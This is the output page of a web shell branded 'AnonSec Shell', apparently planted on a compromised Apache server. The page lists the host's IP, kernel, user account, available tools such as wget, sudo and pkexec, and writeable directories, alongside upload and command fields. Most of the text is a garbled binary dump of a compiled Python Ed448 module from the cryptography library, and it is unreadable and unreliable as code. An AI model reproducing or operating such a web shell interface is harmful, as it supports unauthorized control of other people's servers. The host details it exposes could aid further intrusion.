AnonSec Shell
Server IP : 208.109.241.143  /  Your IP : 13.58.74.24
Web Server : Apache
System : Linux 143.241.109.208.host.secureserver.net 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
User : internationaljou ( 1003)
PHP Version : 8.1.30
Disable Function : exec,passthru,shell_exec,system
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/opt/nydus/ops/cryptography/hazmat/backends/openssl/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /var/opt/nydus/ops/cryptography/hazmat/backends/openssl/__pycache__/ed448.cpython-38.pyc
U

:�g��@snddlZddlmZddlmZddlmZmZejrBddl	m
Z
dZdZGdd	�d	e�Z
Gd
d�de�ZdS)�N)�
exceptions)�
serialization)�Ed448PrivateKey�Ed448PublicKey)�Backend�9�rc@sPeZdZdd�dd�Zejejed�dd�Zed�d	d
�Z	eedd�d
d�Z
dS)�_Ed448PublicKeyr��backendcCs||_||_dS�N��_backend�	_evp_pkey��selfrZevp_pkey�r�]/opt/nydus/tmp/pip-target-d6ig7x5r/lib64/python/cryptography/hazmat/backends/openssl/ed448.py�__init__sz_Ed448PublicKey.__init__)�encoding�format�returncCsV|tjjks|tjjkr@|tjjk	s0|tjjk	r8td��|��S|j�||||jd�S)Nz3When using Raw both encoding and format must be Raw)	r�Encoding�Raw�PublicFormat�
ValueError�_raw_public_bytesrZ_public_key_bytesr)rrrrrr�public_bytess&
�
�
�
���z_Ed448PublicKey.public_bytes�rcCsp|jj�dt�}|jj�dt�}|jj�|j||�}|j�|dk�|j�|dtk�|jj�|t�dd�S�Nzunsigned char []�size_t *�r)	r�_ffi�new�_ED448_KEY_SIZE�_lib�EVP_PKEY_get_raw_public_keyr�openssl_assert�buffer�r�buf�buflen�resrrrr1s�z!_Ed448PublicKey._raw_public_bytesN)�	signature�datarcCs�|jj��}|j�||jjjk�|jj�||jjj�}|jj�||jjj|jjj|jjj|j	�}|j�|dk�|jj�
||t|�|t|��}|dkr�|j��t
j�dS)Nr!)rr%�EVP_MD_CTX_newr'r"�NULL�gc�EVP_MD_CTX_freeZEVP_DigestVerifyInitrZEVP_DigestVerify�lenZ_consume_errorsrZInvalidSignature)rr-r.�
evp_md_ctxr,rrr�verify;s0���
z_Ed448PublicKey.verify)�__name__�
__module__�__qualname__rrrr�bytesrrr5rrrrr	s�
r	c@s`eZdZdd�dd�Zed�dd�Zeed�d	d
�Zej	ej
ejed�dd
�Zed�dd�Z
dS)�_Ed448PrivateKeyrr
cCs||_||_dSrr
rrrrrRsz_Ed448PrivateKey.__init__rcCsz|jj�dt�}|jj�dt�}|jj�|j||�}|j�|dk�|j�|dtk�|jj�|�dd�}|j�	|�Sr)
rr"r#r$r%r&rr'r(Zed448_load_public_bytes)rr*r+r,rrrr�
public_keyVs�z_Ed448PrivateKey.public_key)r.rcCs�|jj��}|j�||jjjk�|jj�||jjj�}|jj�||jjj|jjj|jjj|j	�}|j�|dk�|jj�
dt�}|jj�
dt|��}|jj�
||||t|��}|j�|dk�|j�|dtk�|jj�||d�dd�S)Nr!zunsigned char[]r r)rr%r/r'r"r0r1r2ZEVP_DigestSignInitrr#�_ED448_SIG_SIZEr3ZEVP_DigestSignr()rr.r4r,r*r+rrr�signas4���z_Ed448PrivateKey.sign)rr�encryption_algorithmrcCsd|tjjks|tjjkrL|tjjk	s<|tjjk	s<t|tj�sDtd��|��S|j	�
|||||jd�S)NzcWhen using Raw both encoding and format must be Raw and encryption_algorithm must be NoEncryption())rrrr�
PrivateFormat�
isinstanceZNoEncryptionr�_raw_private_bytesrZ_private_key_bytesr)rrrr>rrr�
private_bytesxs2
�
�
�
�����z_Ed448PrivateKey.private_bytescCsp|jj�dt�}|jj�dt�}|jj�|j||�}|j�|dk�|j�|dtk�|jj�|t�dd�Sr)	rr"r#r$r%ZEVP_PKEY_get_raw_private_keyrr'r(r)rrrrA�s�z#_Ed448PrivateKey._raw_private_bytesN)r6r7r8rrr;r9r=rrr?ZKeySerializationEncryptionrBrArrrrr:Qs�r:)�typingZcryptographyrZcryptography.hazmat.primitivesrZ/cryptography.hazmat.primitives.asymmetric.ed448rr�
TYPE_CHECKINGZ,cryptography.hazmat.backends.openssl.backendrr$r<r	r:rrrr�<module>s<

Anon7 - 2022
AnonSec Team